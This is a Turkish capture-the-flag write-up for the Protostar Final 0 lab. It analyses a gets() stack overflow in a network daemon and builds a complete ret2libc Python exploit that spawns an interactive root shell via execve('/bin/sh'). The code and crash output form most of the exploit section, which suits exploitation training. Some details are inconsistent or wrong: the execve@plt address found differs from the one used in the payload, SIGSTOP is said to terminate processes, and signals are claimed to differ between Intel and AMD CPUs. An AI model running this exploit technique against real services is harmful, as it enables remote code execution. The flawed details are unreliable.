Protostar Final 0 Writeup
Protostar Final 0 Writeup
Herkese merhabalar. Bu yazdımda Portostar Final 0 sorusunun çözümünü yapmaya çalışacağım.
Kaynak Kod
Kaynak kodu inceleyerek başlayalım.
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
İlk baştaki satırda bazı sabit tanımlamaları görüyoruz. port, uid, gud ve program adı tanımlanmış.
Main fonksiyonunda ise arka planda bir çalışan bir servis başlattığını söyleyebiliriz. Bu servis socket aktivitelerini takip ediyor ve gelen bağlantıları kabul ediyor. Ardından get_username
fonksiyonu çalışıyor ve dönen değer username değişkenine atanıyor. Daha sonra ise bu değer yazdırılıyor. Şimdi programı ps
komutu ile bulalım.
user@protostar:~$ ps aux | grep final0
root 1338 0.0 0.0 1532 272 ? Ss 12:35 0:00 /opt/protostar/bin/final0
user 1504 0.0 0.0 3268 640 pts/0 S+ 12:44 0:00 grep final0
Program şu anda 1338
pid ile arka plan da çalışıyor. Aynı işlemi netstat
komutu ile de doğrulayabiliriz.
root@protostar:/home/user# sudo netstat -lptv
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
................................................................................................
tcp 0 0 *:2995 *:* LISTEN 1338/final0
................................................................................................
Şimdi ise get_username
fonksiyonunu inceleyelim. Öncelikle bazı değişken tanımlamaları yapıyor ve 512 karakter uzunluğunda bir dizi oluşturuyor. Ardından bu dizi memset(buffer, 0, sizeof(buffer));
satırı ile tamamen 0 yada null byte ile dolduruluyor. Daha sonra gets
fonksiyonu ile bir değer okuyor. Bu fonksiyonun man sayfasına bakalım.
Buradan gets fonksiyonunun uzunluk kontrolü yapmadığını ve bu yüzden asla kullanılmaması gerektiğini söylüyor. Bizim örneğimizde buffer için 512 byte uzunluk ayırmıştık. Fakat gets
ile okuma yaptığımız için kullanıcı yada saldırgan 512 byte dan daha fazla veri girerek bellek taşması zafiyetini kullanabilir. Bu durumda bu saldırgan biz oluyoruz :)
Devam eden satırlarda yeni satır karakterlerini null byte ile değiştiren satırları görüyoruz.
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
strchr
fonksiyonu bir string içerisinde bir karakterin ilk geçtiği yerin adresini döndürür. Burada ise string içerisindeki ilk "\n" ve "\r" değerlerinin null byte ile değiştirildiğini görüyoruz.
Bir sonraki satırlarda ise şunları görüyoruz.
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
Bu satırlar kısaca şunu yapıyor: Öncelikle strlen
ile string uzunluğu belirleniyor. strlen
bu işlemi yaparken hesaplamayı ilk null byta kadar yapıyor. eğer bizim stringimiz içerisinde birden fazla null byte var ise strlen sadece ilkine kadar olan kısmı hesaplayacak. String boyutu bulunduktan sonra ise döngü başlayılıyor. Döngü ilerisinde ise küçük karakterler toupper
fonksiyonu ile büyük karaktere dönüştürülüyor.
Fonksiyon sonlanmadan önce buffer strdup ile yeni bir kopyası oluşturuluyor ve bu değer göri dönülüyor. Ardından main fonksiyonunun sonunda ise yazdırılıyor.
Çalıştıralım
Buraya kadar tamamsa programa nc ile bağlanıp test etmeye başlayalım. Bağlandıktan sonra "a" karakterleri gönderiyorum.
root@protostar:/home/user# nc localhost 2995
aaaaaaaaaaaaaaaaaaaaa
No such user AAAAAAAAAAAAAAAAAAAAA
Bu şekilde gönderdikten sonra gönderdiğimiz verinin büyük harf karşılığı yazdırıldı. Beklediğimiz gibi. Şimdi ise çok daha büyük bir uzunlukta bir veri gönderelim. Ben yaklaşık 1000 tane a göndereceğim.
root@protostar:/home/user# python -c 'print "a"*1000' | nc localhost 2995
root@protostar:/home/user#
Gördüğünüz üzere program herhangi bir şey döndürmeden sonrandı. Peki burada ne oldu. Hemen kaynak koda tekrar geri dönelim.
get_username
fonksiyonu içerisinde gets
fonksiyonu ile veri okuyorduk. Biz normalde ayrılan 512 bayttan çok daha fazlasını gönderdiğimiz için get_username
fonksiyonunta hata meydana geldi ve program burada sonrandı.
username = get_username();
printf("No such user %s\n", username);
Yani get_username
fonksiyonu geri dönemediği için bu fonksiyonun altındaki printf çalışmadı ve biz bir çıktı alamadık. Buffer overflow doğrulandı.
Peki bu durumda biz bu programı nasıl debug edeceğiz ???
Debugging
Şimdi en başa dönelim. yani protostarın başına. Yani protostarın açıklamalarına. Evet en baş.
Burada core dosyalarının normalin aksine core tmp altında bulundğunu bize gösteriyor. Şimdi tmp dizinini listeleyelim.
root@protostar:/home/user# ls -al /tmp/
total 80
drwxrwxrwt 2 root root 60 Jun 28 13:40 .
drwxr-xr-x 26 root root 180 Jun 28 12:35 ..
-rw------- 1 root root 159744 Jun 28 13:40 core.11.final0.1556
Biz az önce programın crash olmasını yani çökmesini sağlamıştık. Bu çökme sonrası tmp altına core dosyası oluştu. Peki ne bu core dosyaları.
Core Dosyaları
Man sayfalarından başlayalım.
Varsayılan sonucu programı sonlandırmak olan sinyaller tetiklendiği zaman Linux kerneli programın sonlandığı andaki belleğin bir kopyasını alır. Yani program bir nedenden dolayı sonlandığı zaman, sonlandığı andaki stack durumu, register durumu ve heap bellek alanları bir dosyaya kaydedilir diyebiliriz. Bu dosya daha sonradan debugging yani hata ayıklama için kullanılabilir.
Program bir sinyal ile sonlandırılır demiştik. Bu sinyal denen şey nedir hemen bakalım.
Sinyaller
Hemen sinyallerin man sayfasına bakıyorum. man 7 signal
Linux'un posix sinyallerini desteklediğini söylüyor. Fakat sinyalin ne olduğunu söylemiyor.
Kısaca sinyaller işletim sistemi tarafından yada işlemci gibi low level sistem tarafından processlere gönderilen sinyallerdir. Sinyaller ile bir programın çalışması değiştirilebilir, sonlandırılabilir yada zorla durdurulabilir.
Şimdi Linux sistemlerde tanımlanan standart sinyallere bakalım. Burada liste oldukça uzun. Ben biraz kısalttım. Ayrıca içlerinden çok kullanılanları ve önemli gördüklerimi işaretledim.
SIGILL illegal instruction yani işlemci tarafından tanınmayan bir makine komutunun çalıştırılmaya çalışıldığını belirtir. Normal şartlarda işlemcide cmp
, add
, mov
gibi makine komutları çalışır. Fakat herhangi bir durumda işlemci tarafından çalıştırılması mümkün olmayan bir veri geldiğinde işlemci çalışmaya devam edemez. Bu durumda SIGILL sinyalini üretir. Bu sinyalden sonra çalışan process in core dump dosyası oluşturulur ve kaydedilir, program sonlandırılır.
Siz protostar makinelerini çözerken eip registerine stack üzerinde bir adres yazdığınız zaman ve yazdığınız adres makine komutu olmadığı zaman bu sinyal üretilir. Şimdi çaktınız mı :)
SIGINT interrupt from keyboard klavyeden gelen kesme sinyalidir. Linux sistemlerde cat
gibi bir program çalıştırdığınızda ve programdan çıkmak istediğinizde CTRL+C
tuş kombinasyonunu kullanırsınız dimi. Terminali kapatmazsınız. Bu durumda üresilen sinyal SIGINT sinyalidir. Çalışan program bu sinyali aldıktan sonra sonlandırılır. Aşağıdaki örnekte "^C" yazdığı satır benim "ctrl+c" yapıp SIGINT ürettiğim satırdır.
Bazı programlarda CTRL+C
yapsanız dahi programın sonlanmadığını görebilirsiniz. pthhon interactive shelli buna örnektir. Burada ise program sinyali yakalıyor ve default işlemin aksine kendi yapmak istediği işlemi tanımlıyor. Yani bazı sinyallerin default davranışları değiştirilebilir.
Aynı şekilde gdb de sinyalleri kullanarak bazı işlemler yapar. Normalde SIGINT sinyalinin varsayılan davranışı programı sonlandırmaktır. Fakat gdb de biz bir programı çalıştırdığımız zaman, program çalışırken (mesela gets input beklerken) CTRL+C yaptığımız zaman gdb bu sinyali yakalar, programı sonlandırmak yerine programı duraklatır ve gdb menüsüne geri döner. Bu sayede programın herhangi bir yerinde biz programı inceleyebiliriz ve ardından programı kaldığı yerden çalışmasına devam ettirebiliriz.
Bu örnekte "^C" yani ctrl+c ye bastığım anda gdb sinyali yakaladı ve programı duraklattı. Sonlandırmadı.
SIGKILL kill signal Bir processi sonlandırmak için kullanılan sinyaldir. Bir programa yada processe SIGKILL gönderdiğiniz zaman program sonlanır. Net. Çünkü bu sinyal program tarafıdan yakalanamaz ve işlenemez.
SIGSEGV invalid memory reference En sevdiğimiz sinyal türü. Bu sinyal processin ulaşmaması gereken yada tanımlı olmayan bir bellek adresine ulaşmaya çalıştığı zaman üretilir.
Buffer overflow soruları çözerken bufferi "A" karakterleri ile doldurup programı izlediğimiz zaman gdb de SIGSEGV yazısını görürüz ve adres olarak ise 0x41414141 görürürüz. Yani "AAAA" diye bir adrese ulaşmaya çalışıyor. Tabikide böyle bir adres yok. Ve program burada paylıyor.
SIGSTOP stop process bir processi sonlandırmak istediğimiz zaman kullanılan sinyaldir.
Man dökümanının biraz altında şu yazıyı görüyoruz.
The signals SIGKILL and SIGSTOP cannot be caught, blocked, or ignored.
Yani SIGKILL ve SIGSTOP yakalanamaz, engellenemez ve görmezden gelinemez. Bir bir programı zorla sonlandırmak istediğimizde bu sinyallerden birini kullanabiliriz.
NOT Sinyaller kullanıdığınız donanıma yada işletim sitemine göre değişiklik gösterebilir. Yani intel işlemcilerinde kullanılan sinyaller ile amd işlemcilerinde kullanılan sinyaller farklı olabilir.
Core Dosyaları İle Debugging
Core dosyaları ve sinyaller hakkında biraz bilgimiz olduğuna göre debugging işlemine başlayabiliriz.
Gdb ile binary dosyasını ve aynı anda core dump dosyasını açabiliyoruz. Komut ise şu şekilde.
$ gdb binary_dosyasi core_dump_dosyasi
Protostar makinesindeki core dosyaları tmp dizini altındaydı. O zaman final0 ile core dosyasını beraber açalım. Ben öncelikle 700 tane "A" ile progmın çökmesini sağlıyorum. Ardından core dosyasını açıyorum.
Bu anda tahmin edebileceğiniz üzere 0x41414141 ler "AAAA" ya karşılık geliyor. Tabikide böyle bir adres olmadığı için işlemci SIGSEGV sinyalini üretiyor ve program sonlanıyor.
Aynı şekilde core dosyası ile stack ve heap bellek alanlarını, register durumlarını da inceleyebiliriz.
Artık gerekli herşeye sahibiz. Şimdi exploit aşamasına geçelim.
Exploit
Öncelikle stack boyutunu bulmamız gerekiyor. Fakat burada ufak bir problemimiz var. Programda get_username
fonksiyonunda bizim girdiğimiz string toupper fonsiyonu ile büyük karaktere dönüştürülüyor. Hali ile bu durumda stacke yazdığımız veriler değişecektir. Yada biz stack boyutunu bulmaya çalışırken verimiz değişeceği için bizi uğraştırabilir.
Bu noktada gets
ve strlen
fonksiyon davranışlarını araştırarak bu sorunu bypass edebiliriz. gets
fonksiyonu newline karakterine kadar veri okur. Yani null byte geldiği zaman okumana devam eder durmaz. strlen
ise string boyutunu bulurken null byta kadar hesaplar. Daha fazlasını hesaplamaz. Burdan yola çıkarak: biz string içerisine null byte yerleştirirsek toupper fonksiyonu aşabiliriz. Şu şekide yapıyorum.
root@protostar:/tmp# python -c 'print "a"*500 + "\x00" + "b"*100' | nc localhost 2995
root@protostar:/tmp# gdb -q /opt/protostar/bin/final0 core.11.final0.1734
Reading symbols from /opt/protostar/bin/final0...done.
..................................................................
..................................................................
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x62626262 in ?? ()
Gördüğünüz üzere eip registeri 62626262 şeklinde. 62 ise hex olarak "b" karakterine karşılık geliyor. Yani "B" değil. Buda demek oluyor ki strlen
fonksiyonunu bypass etmeyi başardık.
Şimdi stack boyutunu bulalım. Ben bu noktada biraz manuel gideceğim. Şu şekilde stringimi oluşturuyorum. Ve oluşan core dosyasını gdb ile açıyorum.
root@protostar:/tmp# python -c 'print "a"*512 + "\x00" + "aaaabbbbccccddddeeeeffffgggghhhh"' | nc localhost 2995
root@protostar:/tmp# gdb -q /opt/protostar/bin/final0 core.11.final0.1766
Reading symbols from /opt/protostar/bin/final0...done.
........................................................
........................................................
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x66666665 in ?? ()
0x66666665 sayısına dikkat ederseniz "efff" ye karşılık geliyor. Biz ise exploitimizde buraya eip üzerine yazmak istediğimiz fonksiyonun adresini koyacağız.
Eğer siz bir tool araç ile uğraşmadan gitmek isterseniz pwntools kullanabilirsiniz. Pwntools isminde python ile yazılmış, exploit geliştirmek için kullanılan güzel bir araçtır. Pwntools içerisinde yer alan cyclic
ve cyclic_find
fonksiyonları ile bu işlemi rahatlıkla yapabilirsiniz.
cyclic
ile kendini tekrar etmeyen string ler üretebilirsiniz. BU sayede 4 karakter içerisinde tam konumunu bulabilirsiniz. Bu fonksiyonun ilk parametresine string uzunluğunu girmeniz gerekiyor. 700 karakter bizim için yeterli olacaktır. cyclic
default olarak küçük harfleri kullanır. Bizim örneğimizde küçük harfleri kullanamadığımız için 2. parametrede alfabe olarak büyük karakterleri veriyorum. Böylece bu sorunuda aşmış olacağız.
>>> cyclic(700, alphabet=string.ascii_uppercase)
'AAAABAAACAAAD..........................XAAGYAAG'
Bu ürettiğimiz stringi programa ilettiğimizde ve core dump dosyasını gdb de açtığımızda segfoult hatasını göreceğiz ve ulaşmaya çalıştığı adres olarak 0x46414149
göreceğiz. Bunu cyclic_find
ile arattığımızda stack boyutumuzu bulmuş oluruz.
>>> cyclic_find(0x46414149, alphabet=string.ascii_uppercase)
532
Şimdi bir sonraki aşamaya geçelim.
Ret2libc
Exploit işleminde ben ret2libc tekniğini kullanacağım. Normalde stack üzerine shellcode yerleştirip o shellkodun bulunduğu yere atlayama çalışabiliriz. Fakat stack adresleri her zaman aynı kalmadığı için güvenli olmayacaktır. Bu durumda ret2libc daha güvenli bir teknik.
Libc içerisinde ise komut çalıştırabileceğimiz fonksiyonlar mevcut. Bunlardan bazıları system
ve execve
. Ben bu örnekte execve
kullanacağım.
Man dökümantasyonundan parametreler ile ilgili bilgi alalım.
İlk parametremiz çalıştırmak istediğimiz program. Bizim için "/bin/sh" olmalı. Sonuçta amacımız shell almak. İkincisi ve üçüncüsü ise ortam parametreler ve ortam değişkenleri. Bizim örneğimizde kullanmamıza gerek olmadığı için null yani 0 olabilir.
Gdb ile execve
nin program içerisindeki adresini şu şekilde bulabiliriz.
(gdb) info functions @plt
All functions matching regular expression "@plt":
.................................................
0x080482fc execve@plt
.................................................
Şimdi ise libc içerisinden "/bin/sh" stingini bulmak. strings komutu ile bunuda bulabiliriz.
root@protostar:/tmp/e# strings -a -t x /lib/libc.so.6 | grep /bin/sh
11f3bf /bin/sh
Burada -a
parametresi ile bütün dosyayı aramasını belirtiyoruz. -t x
ise offset değerinin hex olarak yazdırılmasını belirtiyoruz. Daha sonra grep ile filtreleme yapıyoruz.
"/bin/sh" stringinin libc içerisindeki yerini bulmuş olduk. Fakat libc nin program içerisine nereden yüklendiğini bilmiyoruz. Bunu bulmak için programın maps dosyasını okuyabiliriz. Öncelikle final0 programının pid sini buluyorum. Ardından bu process in maps alanını okuyorum. Yani bellek adreslerini.
Gdb den info proc maps
komutunu girdiğinizdede aynı çıktı ile karşılaşacaksınız. Gdb de bu dosya üzerinden bellek alanlarını okur.
Çıktıya dikkat ederseniz libc 0xb7e97000 adresinden başlayarak yükleniyor. Libc buradan başladığına göre ve "/bin/sh" libx içerisinde 0x11f3bf adresinde olduğuna göre bu ikisini toplarsak "/bin/sh" ın programımız içerisindeki yerini buluruz.
Hemen test edelim:
root@protostar:/tmp/e# gdb -p `pidof final0`
...........................................
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
Şimdi explotimizi oluşturmaya başlayalım. Öncelikle socket ve bağlanma işlemlerini yapıyorum.
import socket
from struct import pack
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 2995))
Ardından stack alanını dolduruyorum ve eip üzerine yazacağımız adresi veriyorum.
payload = "a"*512 + "\x00" + "aaaabbbbccccddddeee" # stack
payload += pack("I", 0x08048c0c) # execve@plt
Bu noktada execve
fonksiyonu çalışacak. Burada bilmemiz gereken bir kaç şey var. execve
fonksiyonu cağrıldığında bu fonksiyonun dönüş adresi stacke yazılmalı fakat biz eip registerini değiştirdiğimiz için bu durum otomatik yapılmıyor. Bu yüzden kendimiz return adresini stacke yazmamız gerekiyor.
payload += "AAAA" # execve return adresi, önemli değil
Ardından execve
parametreleri.
payload += pack("I", 0xb7fb63bf) # /bin/sh
payload += pack("I", 0) # null
payload += pack("I", 0) # null
Bu şekilde yaploadı hazırladıktan sonra artık socket ile gönderme zamanı.
s.send(payload + "\n")
Buradaki newline yani "\n" önemli çünkü gets fonksiyonu bu karaktere kadar okuma yapıyor. Bu karakteri görmez ise okumaya devam ediyor. Benim gibi newline nı unutursanız çok canınız yanar :)
Şu durumda execve
çalıştı. Şimdi ise istediğimiz komutları göndererek komut çalıştırabiliriz.
s.send("id\n")
print s.recv(1024)
s.send("uname -a\n")
print s.recv(1024)
Çıktıyı merak mı ediyorsunuz.
$ python2 final0.py
uid=0(root) gid=0(root) groups=0(root)
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
Evet artık sunucu makinede komut çalıştırabiliyoruz. Peki ama benim interactive shellim nerede. Bunun için telnetlib paketini kullanabiliriz. Telnet protokolü interactive iletişim kurmak için kullanılan bir protokoldür. Bizde bu saydede interactive shell almış olacağız.
import telnetlib
t = telnetlib.Telnet()
t.sock = s # socket
t.interact()
Full exploit kodu şu şekilde:
#!encoding:utf-8
import socket
from struct import pack
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 2995))
payload = "a"*512 + "\x00" + "aaaabbbbccccddddeee" # stack
payload += pack("I", 0x08048c0c) # execve@plt
payload += "AAAA" # execve return adresi, önemli değil
payload += pack("I", 0xb7fb63bf) # /bin/sh
payload += pack("I", 0) # null
payload += pack("I", 0) # null
s.send(payload + "\n")
t = telnetlib.Telnet()
t.sock = s
t.interact()
EOF
Bir yazınında sonuna geldik. Umarım faydalı olmuştur. Bir hatam olduysa bana twitter üzerinden ulaşabilirisiniz. Daha sonra görüşmek üzere …